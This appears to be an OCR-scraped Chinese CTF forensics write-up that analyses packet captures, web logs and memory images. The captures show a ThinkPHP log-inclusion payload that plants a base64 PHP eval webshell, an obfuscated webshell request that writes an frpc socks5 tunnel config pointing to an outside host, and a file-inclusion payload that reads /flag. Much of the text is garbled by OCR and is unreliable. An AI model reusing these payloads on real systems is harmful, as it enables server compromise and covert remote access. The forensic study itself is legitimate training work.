320 306.378411 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
317 292.482507 192.168.2.197 POST /index.php?m=home&a=assign_resume tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
315 28@.401747 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
313 251.837224 192.168.2.197 POST /index.php?m=home&a=assign_resume tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
310 239.561632 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 1t
368 213.037480 192.168.2.197 POST /index.php?m=home&a=assign_resume tpl HTTP/1.1 (application/x-www-form-urlencoded) 1¢
306 163.357076 192.168.2.197 POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded) 1t
1e1 11.239111 192.168.2.197 POST /index.php?m=Home&c=Members&a=login HTTP/1.1 (application/x-www-form-urlencoded) 1¢
125 14.229654 192.168.2.197 POST /index.php?m=&c=personal&a=refresh_resume HTTP/1.1 (application/x-www-form-urlencoded) 1t
239 35.569958 192.168.2.197 POST /index.php?m=&c=personal&a=ajax resume img scan HTTP/1.1 (application/x-www-form-urlencoded) 1¢
1670 553.984512 192.168.2.197 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded) 1¢
1668 553.867907 192.168.2.197 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded) 1¢
1A32A 552 R7A92A 107 1AR 2 147 PNST /1 nhn HTTP/1 1 fannlicatinn/y_wuu_form-urlencadad) ¢
Key: variable
value: 1
v Form item: "tpl" = "data/Runtime/Logs/Home/21 08 @7.log"
Key: tpl
value: data/Runtime/Logs/Home/21 @8 ©87.log
v Form item: “"aaa” = "system('echo PD9wWaHAZZXZhbCgkX1JFUVVFULRbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');"
Key: aaa
value: system('echo PD9waHAgZXZhbCgkX1JFUVVFULRbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php')
74 2d 4c 65 6e 67 74 68 3a 20 31 34 33 od ea ed t-Length : 143---
@a 76 61 72 69 61 62 6¢ 65 3d 31 26 74 70 6¢ 3d svariabl e=1&tpl=
64 61 74 61 2f 52 75 6e 74 69 6d 65 2f 4c 6T 67 data/Run time/Log
73 2f 48 6f 6d 65 2f 32 30 s/Home/2 1_08_07.
61 3d log&aaa= HEed i@
lecho PD9 waHAgZXZ]
hbCgkX1J FUVVFU1R
340 7Pz4=|ba
350 > [var/u
360 e
3.5
A H -
BE EENRE TR P ina 7R
B -
frpc
3448 KIEE R
s Lwan oy 50
Tine Source Info Destination Protocsl
343 538.744071 192.168.2.197 POST /1.php HTTRP/1.1 (application/x-www-form-urlencoded) 192.168.2.197 HTTP
344 538.745941 192.168.2.197 HTTP/1.1 200 OK (text/html) 192.168.2.197 HTTP

rame 344: 258 bytes on wire

lull/Loopback

nternet Protocol Version 4,

ransmission Control Protocol
source Port: sesl
Destination Port: 61922

)0 ©2 00 00 00 45 @0 00 fe
© €@ a8 82 ¢5 c@ a8 82 5
o 86 16 a@ 7a 80 18 18 d2
i@ @a 62 2c 25 @a 62 2c 23
10 20 32 3@ 30 20 4f 4b ed
0 61 74 2¢ 20 3@ 37 20 41

M ireshark - 88 TCP 5 (tcp.stream eq 38) - hack.pcap = [m] X

POST /1.php HTTP/1.1

Host: 192.168.2.197:80681

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.@ (Windows NT 6.1; rv:22.0) Gecko/2013@4@5 Firefox/22.@
Content-Type: application/x-www-form-urlencoded

Content-Length: 1374

Connection: close

[aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(@)%3Bfunction¥%2@asenc(%24out)|
%7Breturnk%2e%24outi3B%7D%3Bfunction%20asoutput()%7B%240utput’3Dob_get contents()%3Bob_end clean()%3Becho%20%2228%22.
%22172%22%3Becho%20%40asenc (%24output)%3Becho%20%22f486%22 .%221114%22%3B%7Dob_start()
%3Btry%7B%24f%3Dbase64_decode(substr (%24 POST%S5B%22]68071301598%22%5D%2C2))
%3B%24C%3D%24_POST%5B%22xa5d606e67883a%22%5D%3B%24c%3Dstr_replace(%22%5Cr%22%2C%22%22%2C%24c)
%3B%24c%3Dstr_replace(%22%5Cn%22%2C%22%22%2C%24c ) %3B%24buf%3D%22%22%3Bfor (%241%3D0%3B%241%3Cstrlen(%24c)
%3B%241%2B%3D2)%24buf . %3Durldecode (%22%25%22 . substr(%24c%2C%241%2C2) )%3Becho(%40fwrite(fopen(%24f%2C%22a%22)%2C%24buf)

%63 F%221%22%3A%220%22 ) %3B%3B%7Dcatch (Exception%20%24e)%7Becho%20%22ERROR%3A%2FX2F%22 . %24e-%3EgetMessage () %3B%7D%3Basoutput ()
%3Bdie ()|
%3B&j68071301598f=FBL3Zhci93d3cvaHRtbCcomenBjLmluaQ¥%3D%3D&xa5d606£67883a=5B636F6D6D6F6ESDOA7365727665725F61646472203D20313932)
2E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B74
[6573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73356A706C7567696E|
S5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20
747275650A7573655F636F6D7072657373696F6E203D20747275650ARL REYE W Bib1= 10| 4

Date: Sat, @7 Aug 2021 09:42:17 GMT
server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Content-Length: 14

Connection: close

Content-Tvpe: text/html




urlf# R3S B 4 T 4R

LT S U o HD
aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%240ut)%7Breturn%20%:
s v

URLEERDLS

aaa=@ini_set("display errors”, "0");@set_time limit(0);function asenc($out){return $out;};function asoutput()

{Soutput=ob_get contents();ob_end clean();echo "28"."f72";echo @asenc($output);echo
"f486"."11f4"}ob_start();try{$f=base64 decode(substr($ POST["j68071301598f"],2));$c=% POST["xa5d606e67883a"];$c=str repl
ace("\r","",$c);$c=str replace("\n","",$c);$buf="";for($i=0;SigetMessage();};asoutput();die();&j68071301598f=FBL3Zhci93d3cvaH
RtbCOmcnBjLmluaQ==8xa5d606e67883a=5B636F6D6D6F6ESDOA7365727665725F61646472203D203139322E3136382E3233
392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D7
60A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E
203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203
D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D207
47275650A

AUEE

$f=base64_decode(substr($_POST["j68071301598f"],2))

e MEE AL TTIRE . f#FSj68071301598f13 2

L37hc193d3evalRtbCOmenB iLnluag==
=z | = H fRE ‘ O &2 AUTF-8= i

/var/www/html/frpc. ini

WA UMK B E



343 538.744071
344 538.745941
+ 345 538.778180
B 346 538.780389
412 545,800160
413 549.982861
A91 550 024152

dseaUGes sy Biargaea 20U LRy Liaziumey

192.168.2.197

POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)

192.168.2.197 HTTP/1.1 200 OK (text/html)
192.168.2.197 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)
192.168.2.197 HTTP/1.1 200 OK (text/html)
192.168.2.197 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)
192.168.2.197 HTTP/1.1 200 OK (text/html)
102 1A8 2 1407 PAST /1 nhn HTTDP/1 1 {annlication/v-umm-form-urlancadad)

192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
192.168.2.197
107 1AR 2 107

static/\t2021-08-07 05:59:50\t4096\t@777\n
ThinkPHP/\t2021-08-07 05:59:50\t4096\t0777\n
Application/\t2021-88-87 85:59:49\t4896\t0777\n
data/\t2021-08-07 86:00:32\t4096\t8777\n
index.php\t2021-08-07 05:59:50\t2269\t0777\n
1.php\t2021-08-07 09:39:54\t29\t0644\n
favicon.ico\t2021-88-07 ©5:59:50\t1150\t0777\n

install.php
frpc.ini\t2

t2021-88-07 05:59:50\t378\t0777\n
21-08-07 ©9:42:17\t240\t@644\n

a37ch
217@ 35 3a 35 39 3a 35 30 69 31 31 35 36 @9 30 37 37 5:59:50- 1150-077
2180 37 @a 69 be 73 74 61 6C 6C 2¢ 70 68 70 @9 32 3@ 7-instal l.php-2e
219¢ 32 31 2d 3@ 38 2d 3@ 37 20 3@ 35 3a 35 39 3a 35 21-88-07 ©5:59:5

3.6

37

30

2l

2480644

BIMSHAREAS. %37 HAbHEKwp.

A H :

R AH TR 8] R 55 Bip 2
B 8 -

192.168.239.123

Y ARIG 34411, . Hixa5d606e67883alKIE iR %15

5B636F6D6D6F6ESDOA7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737
380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A7265
6D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C51
4ARA706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D
7072657373696F6E203D20747275650A

P s Lowan ey a0

Tine

343 538.744071
344 538.745941

Seurce Info
192.168.2.197 POST /1.php HTTP/1.1 (application/x-www-form
192.168.2.197 HTTP/1.1 208 OK (text/html)

-urlencoded)

Destination
192.168.2.197
192.168.2.197

rame 344: 258 bytes on wire

lull/Loopback

nternet Protocol version 4,
ransmission Control Protocol
source Port: sesl
Destination Port: 61922

0 ez
6 ca
'@ 86
o @a
e 2e
@ 61

(=[]
c5

45
e
80
@a
20
3e

oo
a8
18
62
af
37

2]
a2

fe
€5
d2
23
od
41

M ireshark - 88 TCP 5 (tcp.stream eq 38) - hack.pcap

= [m] X

POST /1.php HTTP/1.1

Host: 192.168.2.197:80681

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.@ (Windows NT 6.1; rv:22.0) Gecko/
Content-Type: application/x-www-form-urlencoded
Content-Length: 1374

Connection: close

%3Bdie ()

136382E3233392E3132
[6573745F736F636

[747275658A7573655F636F6D7072657373696F6E203D20747275650A
Date: Sat, @7 Aug 2021 09:42:17 GMT

server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.29

Content-Length: 14

Connection: close

Content-Tvpe: text/html

330A7365727665725F706F7274203D20373737
B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131
5F75736572203D2030484446743136634C514ABA706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20

20130405 Firefox/22.

[aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(@)%3Bfunction¥%2@asenc(%24out)|
%7Breturni%2e%24outi3B%7D%3Bfunction%2@asoutput()%7B%240utput’3Dob_get contents()%3Bob_end clean()%3Becho%20%2228%22.
%22172%22%3Becho%20%40asenc (%24output)%3Becho%20%22f486%22 .%221114%22%3B%7Dob_start()
%3Btry%7B%24f%3Dbase64_decode(substr (%24 POST%S5B%22]68071301598%22%5D%2C2))
%3B%24C%3D%24_POST%5B%22xa5d606e67883a%22%5D%3B%24c%3Dstr_replace(%22%5Cr%22%2C%22%22%2C%24c)
%3B%24c%3Dstr_replace(%22%5Cn%22%2C%22%22%2C%24c ) %3B%24buf%3D%22%22%3Bfor (%241%3D0%3B%241%3Cstrlen(%24c)
%3B%241%2B%3D2)%24buf . %3Durldecode (%22%25%22 . substr(%24c%2C%241%2C2) )%3Becho(%40fwrite(fopen(%24f%2C%22a%22)%2C%24buf)
%63 F%221%22%3A%220%22 ) %3B%3B%7Dcatch (Exception%20%24e)%7Becho%20%22ERROR%3A%2FX2F%22 . %24e-%3EgetMessage () %3B%7D%3Basoutput ()

%3B&j68071301598f=FBL3Zhci93d3cvaHRtbCcomenBjLmluaQ¥%3D%3D&xa5d606£67883a=5B636F6D6D6F6ESDOA7365727665725F61646472203D20313932)
380A746F6B656E3D586133424A66326C35656E6DAE365A3741386D760A0A5B74
310A706C7567696E203D20736F636B73356A706C7567696F|

HTTP/1.1 208 OK

Protocsl
HTTP
HTTP



16HEHIEEHASI A | soast 16

5B636F6D6D6F6ESDOA7365727665725F61646472203D203139322E31363

[common]

82E3233392E3132330A7365727665725F706F7274203D20373737380A746 “PIERE 16 >> |serverfaddr =192.168.239.123

FEB656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746
573745F736F636B355D0A74797065203D207463700A72656D6F74655F70
6F7274203D383131310A706C7567696E203D20736F636B73350A706C756
T696ES5F75736572203D2030484446743136634C514A0A706C7567696ESF
706173737764203D204A544E32373647700A7573655F656E637279707469
6FGE203D20747275650A7573655F636F6D7072657373696F6E203D20747
275650A

3.7
AH -

BESsocks5HFEEK S . HiLR
JER i -

OHDFt16cLQJ&JTN276Gp

A E— 3 6+ H

16T FIEEHASI A | sopscoin

5B636FE6D6D6F6ESDOAT365727665725F61646472203D203139322E31363

server_port = 7778

16T > > token=Xa3BJf215enmNBZ7A8myv

e [test_sock5]
_ type = tcp

e

82E3233392E3132330A7365727665725F706F7274203D20373737380A746 FRIEHE 601 >>

F6BG56E3D586133424A66326C35656E6D4E365A3741386D760A0ASB746

573745F736F636B355D0A74797065203D207463700A72656D6F 74655F70 163HE=IGER > >

BF7274203D383131310A706C7567696E203D20736F636B73350A706C756
TB96ESF75736572203D2030484446743136634C514A0AT06CT567696E5F
706173737764203D204A544E32373647700A7573656F656E637279707469
B6F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747
275650A

H & 247
i 3R

B ENARFEEGE, EATEE, #ETES.

4.1
A H :

W% AFFEIRRD MR, YRAD SCIF 4L R
B -

WWW.Zip

SEBR

28

>

H

|

remote_port =8111
plugin = socks5
plugin_user = OHDFt16cLQJ

[test_sock5]
type = tcp
remote_port =8111

plugin = socks5

plugin_user = QHDF{16¢cL.QJ
plugin_passwd = JTN276Gp

use_encryption = true
use_compression = true



XERMNEEMREREPRESH2000FE, KHwww.zip

"MOZI”EIfS.O (Mac]ntosh- Liatm] BAdae~ AT W 140 A0 7% Apmgslal\Alalali+ /E27 248 (FLITRAL |:|:e GECkO:]

Chrome/92.0.4515.107 S| E% S

172.17.0.1 - - [07/Aug/2( e 00 Y 7 n_

"Mozilla/5.0 (Macintosh; | — Bl ‘ | = e e Gecko)

Chrome/92.0.4515.107 S — .

172.17.0.1 - - [07/Aug/2( 4457 "-"
5 5 = U & D

"Mozilla/5.0 (Macintosh; | L1ESXAS(Q) CHEL) ®E D e Gecko)

Chrome/92.0.4515.107 S &R

172.17.0.1 - - [07/Aug/2( =

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppIeWebKlt/SJB? 36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Safari/537.36"
172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /www%2ezip HTTP/1.1" 1686 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /www%2ezip HTTP/1.1" 200 1686 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 +0000] "GET /www%2erar HTTP/1.1" 404 457 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Safari/537.36"

172 17 0. 1 i [OT,fAug{ZOZ‘I 01 37 59 +0000] “GET {W%Zetar%2egz H'I'I'P{‘I 1" 404 457 L3

4.2
BH -

SHBGERE, BEAEAMPpHREAN M, XMHE4EA
B -

sess_car

HEERmpHI A E 2.



Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 0000] "GET /phpMyAdmin/ HTTP/1.1" 404 457 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Safari/537.36"

172.17.0. 2535 w ATTP/1.1" 404 457 "-"
"Mozilla/! .36 (KHTML, like Gecko)
Chrome/$ =smEN): |tmp) =R T—ANE)

172.17.0.] /1.1" 404 457 *-"
"Mozilla/! el R 136 (KHTML, like Gecko)
Chrome/¢ (RSO OBELEY @®@ERD

172.17.0.7 Bl 200 25770 "=
"Mozilla/t LJ#E#R) .36 (KHTML, like Gecko)

Chrome/92.04515.TO7 Satarj537.36

172.17.0.1 - - [07/Aug/2021:01:38:20 0000] " .
filename—..,/..,/../../'..,/../..j‘..f..,/../..j‘..,/../../../‘..,/../i%zsesscar&content—fu nc|N;files|a:2:

{s:8:"filename";s:16:" /files/filename";s:20:"call = —afray";s:28:"./files/call user func array”;
}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:20 0000] "GET /?file=sess car HTTP/1.1" 200 687 "-"
"python-requests/2.26.0"

172.17.0.1 - - [07/Aug/2021:01:38:20 0000] "GET / HTTP/1.1" 200 645 "-" "python-
requests/2.26.0"

4.3
BH :

AMBERE, BREARR_ KT M.
IR -

SpIFileObject

FFER, 7£ERFMRFIMLRRR, SEERERT .



Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 0000] "GET /phpMyAdmin/ HTTP/1.1" 404 457 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 =35 w ATTP/1.1" 404 457 "-"
"Mozilla/! .36 (KHTML, like Gecko)
Chrome/$ =smEN): |tmp) =R T—ANE)
172.17.0.1 /1.1" 404 457 "-"
"Mozilla/! el R 136 (KHTML, like Gecko)
cmmnwsmgﬁiwag OBty @ATED)
172.17.0.1 B " 200 25770 "-"
"Mozilla/t LJ#E#R) .36 (KHTML, like Gecko)
Chrome/92.04515.TO7 Satarj537.36

172.17.0.1 - - [07/Aug/2021:01:38:20 0000] "GET /?
filename:..,/..,/../../'..,/../../'..f..,/../..j‘..,/../../../'..,/../M/sess_car&content:fu nc|N;files|a:2:
{s:8:"filename";s:16:" /files/filename";s:20:"call user func array";s:28:"./files/call user func array”;
}paths|a:1:{s:5:"/flag";s:13:|SplFileObject";}|HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:20 0000] "GET /?file=sess car HTTP/1.1" 200 687 "-"
"python-requests/2.26.0"

172.17.0.1 - - [07/Aug/2021:01:38:20 0000] "GET / HTTP/1.1" 200 645 "-" "python-
requests/2.26.0"

5 WENh Fssh b
Bz 81 4F-1 | The blog of mklkx

BB H iR -

5.1
AH -

Bt & HIP R
R -

172.18.0.125

XEEREEE, KRR BB

MR85 SIBERM M A S A AR, BB S. HEipRAE -1, FRBUREN MG Z S HAARERERR, RILER
PLIEH

Am i@ RE Qe»ZTF & CRCRCR e

[Audp. strean eq 85
Fo. Tine Source Info Destination
18260 60.574320218 172.18.0.1 8888 » 42277 Len=36 172.18.0.125
18261 6@.574333699 172.18.0.125 42277 - 8888
18262 60.574352192 172.18.0.1 8888 > 42277 | M Wireshark i85 UDP % (udp.stream eq 85) - 1.pcapng = O x
18263 60.574377783 172.18.0.125 42277 -+ 8888
18264 60.574406954 [172+18+0+1 choe ool | BRURES oo #ehrallonoss Foo "
MM e e PB5=. ...« AXad Lo Ko s )$muP@5=
18265 60.574424242 42277 -+ 8888 G e i i )
18266 60.574443928 .18.9. 8888 > 42277 I |gnipps—, ., .. a6 .. P I PB5=
18267 60.574457636 172.18.0.125 42277 - 8888 || |¢mupes-.. ... HEAX3 e o KooYW/ eeeeeeennnnnnns Pes=
18268 6@.574476115 172.18.0.1 8888 » 42277 || |gmupes-. .. .. #ak., 2o A raL b
18269 60.574489615 172.18.0.125 42277 > 8888 || |$muPes=..... #a.hg#...... il s s
18270 60.574508898 172.18.0.1 8888 » 42277 I |$muP@s=..... HHA0 50 ooty o o ote G oXeoll Boe s
18271 60.574522669 172.18.0.125 42277 » 8888 $mupPes=..... E7% 7 oAl AL
< $muP@s=..... Ao oo J e d e e PO5=
- - $muP@sS=..... R e e e DL VD s wreraiserareia e e P@5 E
Frame 18265: 94 bytes on wire (752 bits), 94 bytes capt| $muPeS=. . ... LD . BV D&.Quy% Heee e Pa5=
Ethernet II, Src: ©2:42:ac:12:80:7d (02:42:ac:12:00:7d) $muPa@s=. . ... P W oy AP At pPBS=
Internet Protocol Version 4. Src: 172.18.0.125. Dst: 17| [¢muboc— #%a _mm i = pos.



http://www.mklkx.xyz/2021/09/14/%25E9%2599%2587%25E5%2589%2591%25E6%259D%25AF-1/

> User Datagram Protocol, Src Port: 42277, Dst Port: 8888
> Data (52 bytes)

82 42 70 b3 33 41 82 42 ac 12 08 7d @8 0@ 45 00
010 00 58 fc 36 40 00 40 11 e5 €3 ac 12 e 7d ac 12
©020 00 @1 a5 25 22 bg ee 3c 58 fe 50 30 35 3d @2 ee
2030 @0 0@ 9d 23 25 61 fc 88 aa 9e 11 0@ 00 g@ ff aa
ve40 1c ba cb 44 d6 @9 d2 1a a7 ff 2f 76 35 e2 35 @e
0050 00 00 90 00 00 00 00 V0 00 0 00 00 00 00

108 &S HE, 106 WEHE AHE. 157 vurn(s)
EE2fiE (9448 bytes) v SRMEERES (AT |
i | [EfT—w]

SRR Bl | | Save as- R E Close Help

RAMBAKYE, BT KERBwp. UUEIEE, XEER—T,

[[2021 B &I AF 2B 5 WP_Y-Y-KIf1 182 -CSDNE &

SFTRER, ENipAi%&172.18.0.1. #ZUDPHIM. HEMAER, FEREIUDPELHRZP05=, HHiRbaseb4, FHHIFRELIG.
PO5=/5 i #F 200 00 00 00 5%#01 00 00 00, H 00/ KEA32, 01HKER16, AlfRINETTE.

KEHE) D) BHESIV)  BATE\O)  MEN(C)  ZITIA) WOHIS) FBIALY) 7GR\ LI meENny

® R B Q &b & T Eaaarm

EATTII RS - Ctrl-/> =

To. Tine Source Info Dies tinati Protocol Length

= 1 0.000000000 172.18.0.210 54558 - 8888 Len=52 172.18.0.1 ubp
2 0.000043914 172.18.0.210 54558 - 8888 Len=52 172.18.0.1 ubp
3 0.000519169 172.18.0.210 54558 > 8888 Len=52 172.18.0.1 upp
4 0.000545651 172.18.0.210 54558 - 8888 Len=52 172.18.0.1 upep
5 0.000555848 172.18.0.210 54558 > 8888 Len=52 172.18.0.1 upp
6 0.000563845 172.18.0.210 54558 > 8888 Len=52 172.18.0.1 upp
7 0.000571504 172.18.0.210 54558 > 8888 Len=52 172.18.0.1 upp
8 0.000578757 172.18.0.210 54558 > 8888 Len=52 172.18.0.1 upp
9 0.000586001 172.18.0.210 54558 » 8888 Len=52 172.18.0.1 upp
10 0.000593198 172.18.0.210 54558 - 8888 Len=52 172.18.0.1 ubp
11 ©.000600359 172.18.0.210@ 54558 - 8888 Len=52 172.18.0.1 ubp
12 0.000607499 172.18.0.21@ 54558 - 8888 Len=52 172.18.0.1 ubp
13 0.000614686 172.18.0.210 54558 - 8888 Len=52 172.18.0.1 ubp
14 0.000621712 172.18.0.210 54558 - 8888 Len=52 172.18.0.1 ubp
15 0.000629388 172.18.0.210 54558 > 8888 Len=52 172.18.0.1 upp
16 0.000636656 172.18.0.210 54558 - 8888 Len=52 172.18.0.1 upep
17 0 AARANARZQ 173 12 0 210 SASRR 4 RRRR 1 an=87 172 12 a1 1no
< >

> Ethernet II, Src: 02:42:ac:12:00:d2 (02:42:ac:12:00:d2), Dst: 02:42:70:b3:33:41 (02:42:70:b3:33:41)
> Internet Protocol Version 4, Src: 172.18.0.210, Dst: 172.18.8.1
» User Datagram Protocol, Src Port: 54558, Dst Port: 8888
v Data (52 bytes)
Data: 5030353d000P0000612325613b41be1c2000000041414166...
[Length: 52]

02 42 70 b3 33 41 02 42 ac 12 00 d2 08 60 45 @0

00 50 e3 92 T2
00 01 ds le

ozss03t6 xdQelR

RAE K 1655 M W Bt eaes, FIKE16MIbase64, EIP05=/5MEi&01 00 00 00f, 1EAaes keyfi#a, 02 00 00 00Xt i B A —A
AT, HP2EIPKHN172.18.0.125

6. 777
i 3R

WIS ERIE T — DB, EERIMTEEE

6.1

A H
EUHEBR__. (BB Afaghod, SHER, RXNAEEH)
A -

flag{W31COM3 TO THiS 34SY FOR3NSICX}
{8 F volatility T. & #4720 #r
imageinfo3R B & 45 B


https://blog.csdn.net/qq_40568770/article/details/120311122

olatility Foundation Volatility
NFO : volatility.debug
Suggested Profile(s) :
POBBR2SP1x64, Win7SP1x64 23418
AS Layerl :
AS Layer2 :
get.vmem)
PAE type :
DTB :
KDBG :
Number of Processors
Image Type (Service Pack) :
KPCR for CPU © :
KUSER_SHARED_DATA :
Image date and time :
Image local date and time :

ffHlsadumpfr & B E R GEFZNAF,

PS E:\
lsadump

olatility Foundation Volatility
DefaultPassword

DxX00000e 48 02 20 P06 60 0o 08
DX00000010 66 @ 6C BB 61 GG 67
Px00000020 43 00 30 00 4d @0 33
DX00000030 54 00 48 00 69 @@ 53
Dx00000040 59 6@ 20 00 46 0@ 30
PXx00000R58 69 00 43 00 58 . 7d

DPAPI_SYSTEM
PDX00000000
Px00000010
PxX00000020
PX0000e830

Framework 2.6

: Determining profile based on KDBG search...

Win7SP1x64, Win7S5P@x64, Win2@@8R2S5P@x64, Win2008R2SP1x64 23418, Win

WindowsAMD64PagedMemory (Kernel AS)
FileAddressSpace (E:\fAz4ELLE\CTF\2021EEI#\ A FESHr\HES Hr\Ta

No PAE

ox18700aL

0xf8000403cRa0L

1

1

exfffffaeeede3ddeoL
exfffff78e00000000L
2021-08-29 ©9:08:07 UTC+0000
2021-08-29 17:08:07 +0800

B 3lflag

volatility.exe
Framework 2.

20 00 00 00
@8 7b ee 57
20 20 20 54
00 20 00 33
@0 52 e 33
60 00 00 00

flag{W31COM3 TO THiS 34SY FOR3NSICX}

6.2
A H :

RESNL A — N K &40 3, SRR TR .

B % At R flagoood, &H T, R AELED

B -

flag{THANK YOU FOR DECRYPTING MY DATA}

.\Target.vmem

(N JEM R E—BE R b flag(} N A BRETAE, A

BH R RENRE, BaBEEMSHgrepin &R EEH X TFHUAWEIFIEE. @4 filescan|grep -E “HUAWES

$ volatili Target.vmem
Volatility Foundation Volatility
0=Q00000A07dECTd1d 4 5]
XX.Yy.ZZ.exe

0=Q00000A0TelbLccd 1z 5]
XKK.YY.ZZ.exe

DxQ00D0D0BTelelacd 16 4]
XX.YY.Z-6DC73FF4.pf
DxQ0000D00Tecldbbd® 2 4]
xx.yy.zz%alarm.db
0=000000007fchBalD 16 (4]
XX.yy.Zz%info.xml
0=000000007 fe72430 2

filescan
Framework 2.6

R—r-d \Device\HarddiskVolumel\Users\CTF\Desktop\
R—r— \Device\HarddiskVolumel\Users\CTF\Desktopl
R—— \Device\HarddiskVolumel\Windows\Prefetch’
-W-r— “\Device\HarddiskVolumel\Users\CTF\Desktop
-W-r— “\Device\HarddiskVolumel\Users\CTF\Desktop'

@ -W-r— ‘\Device\HarddiskVolumel\Users\CTF\Desktop®

XX.yy.zz\picture\storage\MediaTar\images\images®@.tar.enc

2=000000007 feabbcd 16
XX.yy.ZzZh\picture.xml

@ -W-r— ‘\Device\HarddiskVolumeli\Users\CTF\Desktop®

1
P40_2021-aa-bb
P40_2021-aa-bb

P48 _2021-AA-BB
P48 _2@21-aa-bb
P48 _2@21-aa-bb
P48 _2@21-aa-bb

P48 _2@21-aa-bb




RYFIE QUMD T, 1R AR
dumpfiles -Q fileid -D 5 H #1432

dumpfiles

tility Fram
7d1@ None ; C rddiskVolu

die None irddiskVoli

FHiR—Nexextft, BMNB—TEHRL, BITE T, B—NEBREXH.

3 WinRAR BEREE#+ - X

« BT BE BHAERE.

o (FA MR BHMNBFRRFEFBEFLGER. B
WA LLF A

o MRBEMBIFLGRAFE. EXHRBRENE
B EsEE. CERRZATENEE.

BiFxtE@
; V] [ wE®. .
W

| R E | BY

XI5 75 XA R SR B SO AT R, REE M github B &N T A, THEMNLR:
https://github.com/RealityNet/kobackupdec.git

A4

python kobackupdec.py -vvwv W31COM3_TO_THiS_34SY_FOR3NSICX HUAWEI ./jiemi

Ps 20218\ N E Dt \ N 7E 5 #r \kobackupdec> python kobackupdec.py W31COM3_T@_THiS_34SY_FOR3NSiCX HUAWEI ./jiemi
INFO:root:searching backup in [HUAWEI]
INFO:root:got info.xml, going to decrypt backup files
INFO:root:Parsing file ".2021 Bl S #R\ R TE 2t \ N F 93 #7 \ kobackupdec \HUAWE T\ info.xml
DEBUG: root:Ignoring HeaderInfo entry.
DEBUG: root:Ignoring BackupFilePhoneInfo entry
DEBUG: root:Ignoring BackupFileVersionInfo entry
DEBUG: root:Parsing BackupFilesTypeInfo
DEBUG: root:crypto_init: using version 3.
DEBUG: root: SHA256 (BKEY)[16] = b'b42ec8a3efl4le7af8f32ddd74c08cd2’
IARNING: root:Empty CheckMsg! Cannot check backup password!
IARNING: root:Assuming the provided password is correct...
INFO:root:parsing xml file picture.xml
DEBUG: root:DecryptInfo dump ---
